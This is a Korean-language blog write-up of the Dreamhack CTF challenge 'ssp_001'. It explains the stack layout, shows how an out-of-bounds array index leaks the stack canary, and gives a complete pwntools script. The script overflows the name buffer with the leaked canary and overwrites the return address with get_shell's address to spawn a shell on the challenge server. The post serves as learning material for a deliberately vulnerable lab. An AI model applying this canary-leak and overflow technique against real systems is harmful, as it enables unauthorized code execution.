보안/시스템해킹

[Dream Hack] ssp_001

playalone 2024. 5. 31. 00:47

주어진 c코드를 보면 get_shell함수가 있고, box, name 등을 받을수 있다. 

 

어셈블리 코드를 보면

$ebp-0x88에 box, 

$ebp-0x48에 name

$ebp-0x08에 카나리가 저장된다.

 

select에 P를 저장하면 box의 index 값을 출력한다.

이때 index에 128~131까지 넣으면 카나리 값이 나올 것이다.

 

이걸 저장하고 name은 input 사이즈를 정할수 있기 때문에 대충 큰 수 잡고 0x40만큼 아무수나 넣어 name을 채우고 그 뒤엔 카나리, $rbp-0x4에 저장된 초반 edi값을 아무 문자로 바꾸고, 그 후 $ebp에 저장된 이전 $ebp값을 아무 문자로 바꾸고, 그 후에 있는 eip관련 스택을 get_shell 함수의 주소로 바꿔주면

 

값이 나올것이다. 이를 python코드로 바꾸면

from pwn import *

r = remote("host3.dreamhack.games", [포트번호])

canary = []

index_list = [b'131', b'130', b'129', b'128']
#index_list = [b'67', b'66', b'65', b'64']
for i in index_list:
    r.recvuntil(b">");
    payload = b"P"
    r.sendline(payload)
    r.recvuntil(b"Element index : ");
    payload = i
    r.sendline(payload)
    canary.append(str(r.recvline()[-3:-1]).split("'")[1])

#canary.reverse()
print("0x" + "".join(canary));
canary_hex = p32(int("0x" + "".join(canary[0:4]), 16))

r.recvuntil(b">");
payload = b"E"
r.sendline(payload)
r.recvuntil(b"Name Size :")
r.sendline(b"80");
r.recvuntil(b"Name :")
payload = b'A' * 0x40 + canary_hex + b'B' * 0x8 + b'\xb9\x86\x04\x08'
print(payload)
r.sendline(payload);

r.interactive()

'보안 > 시스템해킹' 카테고리의 다른 글

[Dreamhack][시스템 해킹] dreamvm  (0) 2026.07.18
[시스템 해킹][Dreamhack] string  (0) 2026.07.11
[시스템 해킹][재활][dreamhack] block bof  (0) 2025.06.25
[Dream Hack] cherry  (0) 2024.05.10
[Dream Hack] no mov  (0) 2024.04.10